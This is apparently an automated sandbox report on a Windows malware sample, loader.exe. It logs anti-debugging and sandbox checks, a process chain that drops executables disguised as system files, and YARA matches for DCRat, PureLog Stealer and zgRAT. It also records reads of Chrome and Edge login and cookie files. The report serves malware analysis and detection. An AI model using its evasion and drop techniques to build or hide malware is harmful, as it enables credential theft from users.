Source: chainPorthostCommon.exe, 00000005.00000002.2360055756.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}`
Source: OvRN5nW0jy.17.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: OvRN5nW0jy.17.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: OvRN5nW0jy.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: loader.exe, loader.exe, 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: loader.exe, 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: OvRN5nW0jy.17.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: OvRN5nW0jy.17.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: OvRN5nW0jy.17.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: loader.exe, 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: OvRN5nW0jy.17.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: OvRN5nW0jy.17.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: OvRN5nW0jy.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: OvRN5nW0jy.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: OvRN5nW0jy.17.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: loader.exe, loader.exe, 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Uhgfs

Source: C:\Users\user\Desktop\loader.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\loader.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\loader.exe

Open window title or class name: ollydbg

Source: C:\Users\user\Desktop\loader.exe	File opened: SIWDEBUG
Source: C:\Users\user\Desktop\loader.exe	File opened: NTICE
Source: C:\Users\user\Desktop\loader.exe	File opened: SICE

Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00657DEE mov eax, dword ptr fs:[00000030h]	0_2_00657DEE
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_04FF606C mov eax, dword ptr fs:[00000030h]	0_2_04FF606C
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_04FF6391 mov eax, dword ptr fs:[00000030h]	0_2_04FF6391

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_0064B7E0 __EH_prolog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,GetDlgItemTextW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,_swprintf,_swprintf,_swprintf,ShellExecuteExW,_swprintf,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongW,SetWindowLongW,SetDlgItemTextW,_wcslen,_swprintf,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetWindowTextW,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EnableWindow,SendMessageW,SetDlgItemTextW,

0_2_0064B7E0

Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ServerWinRuntimeBroker\wJc3A8cK4hSMmtCgCMOA49.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe "C:\ServerWinRuntimeBroker/chainPorthostCommon.exe"	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline"	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.cmdline"	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\HArqwkOZhw.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF2D.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC1E4D641D33A148FC98C6B9EA6A6669B1.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC121.tmp" "c:\Windows\System32\CSCE59377155588453BA4975E271891CFF.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\LiveKernelReports\RuntimeBroker.exe "C:\Windows\LiveKernelReports\RuntimeBroker.exe"	Jump to behavior

Source: RuntimeBroker.exe, 00000011.00000002.3435800974.00000000038B3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.0000000003970000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .1",5,1,"","user","134349","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Windows\\LiveKernelReports","D8ER27LA (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.189","US / United Stat
Source: RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"44","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.1",5,1,"","user","134349","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Windows\\LiveKernelReports","D8ER27LA (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.189","US / United States of America","New York / New York City"," / "]
Source: RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_0064F654 cpuid

0_2_0064F654

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Queries volume information: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe VolumeInformation	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Queries volume information: C:\Windows\LiveKernelReports\RuntimeBroker.exe VolumeInformation	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Queries volume information: C:\Windows\DiagTrack\Scenarios\dasHost.exe VolumeInformation
Source: C:\Recovery\conhost.exe	Queries volume information: C:\Recovery\conhost.exe VolumeInformation
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Queries volume information: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe VolumeInformation
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Queries volume information: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe VolumeInformation
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Queries volume information: C:\Windows\DiagTrack\Scenarios\dasHost.exe VolumeInformation
Source: C:\Recovery\conhost.exe	Queries volume information: C:\Recovery\conhost.exe VolumeInformation
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Queries volume information: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe VolumeInformation

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000011.00000002.3435800974.0000000003CBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2357344463.0000000012B88000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: chainPorthostCommon.exe PID: 2308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dasHost.exe PID: 3404, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: loader.exe, type: SAMPLE
Source: Yara match	File source: 0.3.loader.exe.5d2d70d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.74d170d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.chainPorthostCommon.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.5d2d70d.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.74d170d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2162490833.0000000005BE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2161189771.0000000007387000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2286038382.00000000004B2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\DiagTrack\Scenarios\dasHost.exe, type: DROPPED
Source: Yara match	File source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\conhost.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\LiveKernelReports\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: loader.exe, type: SAMPLE
Source: Yara match	File source: 0.3.loader.exe.5d2d70d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.74d170d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.chainPorthostCommon.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.5d2d70d.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.74d170d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Windows\DiagTrack\Scenarios\dasHost.exe, type: DROPPED
Source: Yara match	File source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\conhost.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\LiveKernelReports\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
